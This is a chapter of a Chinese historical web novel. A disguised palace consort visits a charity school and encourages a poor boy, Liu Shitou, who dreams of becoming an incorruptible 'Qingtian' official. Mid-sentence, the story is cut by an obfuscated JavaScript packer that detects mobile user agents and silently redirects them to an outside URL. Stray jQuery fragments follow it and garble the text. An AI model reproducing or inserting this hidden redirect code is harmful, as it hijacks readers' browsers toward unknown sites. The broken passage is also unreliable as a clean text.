腊月里的京城，寒气侵骨，呵气成霜。我穿着一身半旧不新的靛蓝棉袍，外罩一件不起眼的深灰鼠皮坎肩，头发简单挽成髻，插一根素银簪子，脸上略敷了些使肤色暗淡的粉，在同样作寻常妇人打扮的剪秋陪同下，乘着一辆青布小车，悄无声息地离开了紫禁城的范围，七拐八绕，来到内城靠近西边城墙根下的一条僻静胡同。


    这里远离市井喧嚣，住户多是些普通人家，偶尔有几家略显齐整的院落。车子在一处看似寻常、门扉却新刷了桐油的黑漆小门前停下。门上无匾无联，若非周宁海事先告知，绝难想象这不起眼的门户后，会是另一番天地。


    轻叩门环三下，两急一缓。片刻，门吱呀一声开了条缝，露出周宁海那张熟悉的脸——只是今日，他下颌粘了几缕花白的假胡子，头戴一方朴素的方巾，身上穿的是一袭洗得发白的青色直裰，袖口还沾着些粉笔灰，活脱脱一位清贫而严谨的私塾先生模样。


    “东家来了，快请进。” 周宁海压低声音，侧身让我们进去，又迅速闩好了门。


    入门是个小小的天井，扫得干干净净，墙角堆着些过冬的煤块，井台边放着一只木桶。正面是三间打通了的北房，此刻门窗紧闭，却能隐约听到里面传来孩童们参差不齐、却格外认真的诵读声：“人之初，性本善。性相近，□□……”


    周宁海引我们到东厢房，这里布置简单，一桌两椅，一个炭盆烧得正旺，驱散了些许寒意。他先禀报道：“娘娘，一切都按您的吩咐，低调办理。这院子原是户部一个老书吏致仕后空置的祖宅，位置僻静，院落也规整。奴才托人以远房亲戚的名义租了下来，说是给族中子弟开蒙，兼收些邻里孩童，束脩低廉，还管一顿午饭，顺天府那边备了个案，也没多问。”


    他脸上带着几分如释重负的喜色，继续道：“原想着招先生、招学生总要费些周章，没成想，许是这年底光景，又许是‘束脩全免、还管午饭’的招牌打出去，竟比想象中顺利得多。不到十天，便来了两位秀才，一位姓王，一位姓李，都是科场屡试不第，但于蒙学一道颇有心得，人也实诚。更难得的是，还有一位康熙朝的同进士出身，姓赵，当年外放过一任知县，因性子耿直，不善钻营，早早致仕回乡，在通州设馆教学。不知怎的听说了咱们这儿，竟主动找上门来，说不要束脩，只求有个地方能教些真正想读书的孩子，尤其…… 尤其听说咱们这儿，不论男女，有心向学便可来。赵先生学问扎实，经历也丰，有他坐镇，奴才心里踏实多了。”


    康熙朝的同进士？还曾为知县？这倒是意外之喜。这样的人，见识过官场，经历过挫折，若心性未改，来教导蒙童，或许比寻常腐儒更懂何为“实学”，何为“初心”。


    “学生们呢？” 我问。


    “学生来得更多。” 周宁海道，“左近几条胡同，乃至稍远些的贫寒人家，听说有这等好事，纷纷把孩子送来。男女都有，年纪从五六岁到十一二岁不等。咱们这院子，满打满算也只能收三十来个孩子，不到几天就招满了。有些来得晚的，只能先记下名字，等有名额空出，或是……或是看日后能否再扩一扩。孩子们都很珍惜这机会，读书格外用力。”


    我点点头，走到窗前，透过窗纸的缝隙，望向对面的正房。窗户上糊着崭新的高丽纸，明亮干净。琅琅书声越发清晰，间或能听到先生温和的讲解与提问，孩童们稚嫩却认真的回答。这声音，在这寒冷寂静的胡同深处，仿佛带着一种能驱散阴霾的暖意。


    “我出去看看，你不必跟着。” 我对周宁海和剪秋示意，自己轻轻推开厢房门，走到天井中。


    恰逢课间休息，正房的门开了，孩子们蜂拥而出，在小小的天井里活动手脚，呼出的白气一团团。他们穿着各色厚实的棉袄，虽不免补丁，但浆洗得干净，小脸冻得红扑扑，眼睛却亮晶晶的，充满了好奇与活力。见到我这个生人，有些胆大的停下来打量，有些则羞涩地躲到同伴身后。


    我的目光落在其中一个约莫十岁左右的男孩身上。他比其他孩子略显瘦高，穿着打补丁的深蓝棉袍，但浆洗得发白，收拾得十分利落。他独自站在井台边，没有像其他孩子那样嬉闹，而是微微仰着头，望着灰蒙蒙的天空，眼神有些出神，似乎在想着什么。


    我缓步走过去，在他身边停下，温声问道：“小兄弟，下课了？怎么一个人在这儿发呆，不去和他们一起玩？”


    男孩回过神来，见我是个面生的妇人，连忙站直了些，规矩地行了礼，口齿清晰：“回这位婶子，我不太会玩那些。方才先生讲了《三字经》里‘玉不琢，不成器’的道理，我正在想呢。”


    倒是个沉静有礼的孩子。“你叫什么名字？多大了？家里是做什么的？” 我问。


    “我叫刘石头，今年十一了。家里……我爹以前是赶大车的，前年运货遇上劫道的，没了。我娘给人浆洗缝补，还有个妹妹，今年六岁，也在这儿上学。” 男孩回答得条理清楚，提到父亲时，眼神暗了暗，但很快又亮起来，“不过先生说了，读书能明理，将来能有出息。”


    “那你来这私塾读书，是为了什么出息呢？” 我顺着他的话问，这个问题在我意料之中，大多贫寒子弟读书，无非是为了改变命运，或是“朝为田舍郎，暮登天子堂”的梦想。


    刘石头几乎没有任何犹豫，挺了挺不算宽阔的胸膛，声音不大，却异常清晰坚定：“我想做官！”


    果然。我心中微微一叹，却也不觉意外。这几乎是所有类似出身孩子最直接、也最现实的抱负。


    “做官？” 我看着他清澈的眼睛，继续问了下去，这个问题或许更关键，“那你为什么想做官呢？是想穿官服，坐大轿，让人敬畏？还是…… 想做个体恤百姓，为民做主的好官？你想做个什么样的官？”


    刘石头似乎没料到我会问得这么细，他愣了一下，随即那双明亮的眼睛里，骤然迸发出一种近乎灼热的光芒，那光芒里没有对权势的贪婪，而是一种混合了向往、崇拜与决心的复杂神采。他急急地说道，生怕我不信似的：


    “我想做清官！ 就像……就像包公那样的清官！” 他顿了顿，似乎觉得“包公”这个词还不够有说服力，又补充道，“我家隔壁，住着一位说书的老先生，他没儿没女，就爱说书。他最拿手的，就是《包公案》！我从小听着包拯包大人的故事长大——他不畏强权，那驸马爷陈世美犯了法，他也敢铡；他铁面无私，自己的亲侄子犯了事，也一样按律处置；他明察秋毫，多少奇冤怪案，都被他审得清清楚楚；他为百姓造福，开仓放粮，修筑河堤…… 听着这些，我就想，做官，就得做这样的官！ 那才叫顶天立地，那才对得起这身官服，对得起老百姓交的皇粮国税！”


    他越说越激动，小脸涨得通红，手也不自觉地比划起来，仿佛眼前就站着那位黑脸长髯、公正廉明的包青天。“我娘常说，咱小老百姓，不怕官，就怕官不为民。要是天下多几个包大人那样的官，我爹那样的冤枉事，或许就能少些。所以，我想读书，想认字，想明理，将来…… 将来也要做个能为民做主、不怕强梁的清官、好官！”


    这一番话，掷地有声，全然出乎我的意料。我原以为他会说“光宗耀祖”、“吃饱穿暖”之类，却没想到，在一个十一岁贫苦少年的心里，埋藏着的竟是这样一个源于市井说书、却如此鲜明而高大的偶像，以及一份如此朴素而炽热的“清官”理想。这理想，或许天真，或许带着演义故事的夸张色彩，但其内核——公正、无私、为民——却闪耀着金子般的光芒。


    我心中震动，久久凝视着他。在这个帝国最普通的街巷，在一个刚刚失去顶梁柱的家庭里，一个听着《包公案》长大的孩子，将“清官”作为人生的至高追求。这何尝不是民心所向？何尝不是这古老文明血脉中，对“青天”永不磨灭的期盼？


    “好志气。” 我缓缓说道，声音里带着自己都未察觉的郑重，“那，如果…… 我是说如果，你将来真的做了官，但可能官职不会很大，或许一直就是个知县，就像你刚刚提到的，像包公审过案的很多地方官那样。你觉得，做到什么样，你这辈子，就算值了？在这私塾里读书，你又想得到什么样的‘荣誉’，来证明你走在正确的路上？”


    刘石头显然被这个问题问住了，他蹙着眉头，很认真地思考着。天井里其他孩子的嬉闹声似乎远去了，只有寒风掠过屋檐的呜咽。过了好一会儿，他抬起头，看着我，眼神清澈见底，一字一句地说道：


    “如果……如果我将来真能当个官，哪怕一直就是个七品知县，我也不求什么高官厚禄，不求多少金银财宝。只要…… 只要我治下的百姓，能因为我判的案子公正，因为我修的河堤结实，因为我让他们的日子好过了一点点…… 能在背后，或者当面，真心实意地叫我一声—— ‘刘青天’！” 他顿了顿，深吸一口气，仿佛用尽了全身的力气，说出最后那句话：


    “那这辈子，就值了！ 比什么都值！”


    “刘青天”。


    三个


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17131950|193341||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    字，轻飘飘，却又重如山岳。


    它不是一个正式的官职，不是朝廷的封诰，它来自民间，来自百姓的口碑，来自人心这杆最公平也最无情的秤。这是一个听着包公故事长大的贫家少年，对自己未来为官生涯，所能想象到的、最高的褒奖与期许。它比任何功名利禄的诱惑，都更纯粹，也更沉重。


    我看着他因激动和寒冷而微微发红、却写满坚定的小脸，仿佛看到了无数个在泥泞中挣扎、却仰望星空的灵魂。他们需要的，或许不是多么高深的理论，多么复杂的制度，而是一个简单、清晰、足以照亮前行方向的榜样，一个“清官”的梦想，一个“青天”的信念。


    我默默地从袖中取出一张裁剪整齐的素笺——那是我随身带着，以备偶尔记下思绪用的。又向侍立在不远处、同样被少年话语震撼的剪秋示意。剪秋会意，立刻从随身小包里取出我常用的那支小紫毫，在砚台里润了润，递给我。


    天井里很冷，墨迹干得慢。我将纸铺在井台边缘略平整处，屏息凝神，用最端正的楷书，缓缓写下四个字：


    不忘初心。


    笔力或许不如翰林，但每一划，都凝聚着我此刻心中奔涌的思绪与期许。写罢，我轻轻吹了吹未干的墨迹，待它稍干，小心地折好，递给一直眼巴巴看着我的刘石头。


    少年有些困惑地接过，展开一看，四个墨黑的字映入眼帘。他识字还不多，但这四个字，私塾先生似乎提过。


    “这……这是……” 他抬起头，不解地看着我。


    “这四个字，叫做‘不忘初心’。” 我看着他，声音温和而清晰，仿佛不仅是说给他听，也是说给这庭院，说给这苍穹之下，“意思是，无论你将来走到哪里，是富贵还是贫贱，是顺利还是坎坷，都不要忘记你今天站在这里，对我说这些话时的那颗心——那颗想成为‘刘青天’，想让百姓过得好一点，想对得起这身官服、对得起良心和律法的初心。”


    我将手轻轻放在他瘦削却挺直的肩头，能感觉到少年身躯下蕴含的力量与微微的颤抖。


    “把它收好。或许现在你还不能完全明白它的分量。但总有一天，当你面对诱惑，当你感到迷茫，当你在官场上见识了不同于说书本子的复杂与艰难时…… 再拿出它来看看，想想你今天说过的话。想想，什么才是你真正想要的‘值了’。这私塾能给你的‘荣誉’，不是考第一，不是背多少书，而是帮你记住、并守护好这份‘初心’。记住了吗？”


    刘石头紧紧攥着那张轻飘飘却仿佛有千钧重的纸，用力地、重重地点头，眼眶有些发红，却倔强地没有让眼泪掉下来。他再次向我深深鞠了一躬，声音有些哽咽，却无比清晰：“谢……谢谢婶子！石头记住了！一定记住！”


    这时，正房门口传来清脆的铃声，课间休息结束。孩子们像归巢的雀儿，纷纷跑回教室。刘石头又看了我一眼，将那写着“不忘初心”的纸小心地贴身藏好，也转身跑进了教室。


    我站在原地，望着重新关上的教室门，里面再次传出稚嫩而整齐的读书声。寒风依旧，但我心中却涌动着一股难以言喻的暖流。


    周宁海不知何时已来到我身侧，低声道：“娘娘，外头冷，进屋暖和暖和吧？”


    我摇了摇头，最后看了一眼那传出读书声的窗户。


    “回宫吧。” 我轻声说。


    转身离开这方小小的、却孕育着无限可能的天井。马车再次驶动，碾过京城冬日坚硬的街道，向着那座华丽而沉重的宫城驶去。


    车厢内，我闭目养神，脑海中却反复回荡着少年那句“这辈子就值了”，和那四个墨迹犹新的“不忘初心”。


    庆阳县的血泪，黄河边的沉思，养心殿的争论，审计学堂的蓝图……一切宏大的叙事与艰难的变革，其最终极的意义，或许就是为了让更多像刘石头这样的孩子，能有书读，有梦可追；让他们心中那份对“清官”、“青天”的向往，不至于在现实的污浊中湮灭；让“不忘初心”四个字，不仅仅是一句赠言，更能成为这个庞大帝国肌体中，越来越多官员真正践行的准则。


    路还很长，很艰难。但至少，在这京城僻静的一隅，有一盏灯已经点亮，照亮了几十个孩童的课本，也照亮了一个少年“刘青天”的梦想。这灯光虽微，却也是光。


    而我能做的，便是守护这光，并努力让这帝国上空，能有更多这样的光，汇聚成河，照亮前路。直到有一天，“青天”不再是稀缺的传奇，而是这片土地上，俯仰可得的寻常。